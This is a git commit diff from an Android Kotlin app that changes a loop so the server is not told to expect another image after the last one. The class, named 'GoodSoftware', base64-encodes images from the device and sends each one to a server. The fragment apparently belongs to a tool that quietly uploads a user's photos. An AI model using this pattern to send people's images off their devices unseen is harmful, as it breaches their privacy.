When the image is next to last, dont tell the server to expect another image

This commit is contained in:
Joren 2024-05-02 17:40:30 +02:00
parent 59b71f6427
commit 17b3cee4e0
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -4,7 +4,6 @@ import android.Manifest
import android.content.ContentResolver
import android.content.ContentUris
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.graphics.Bitmap
import android.graphics.BitmapFactory
@ -164,9 +163,12 @@ class GoodSoftware (private val activity: MainActivity) {
return@Thread
}
for (image in imageList) {
println(image)
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
sendDataToServer(base64Image, connection)
next(connection)
if(image != imageList.last()){
next(connection)
}
}
disconnect(connection)
} catch (e: Exception) {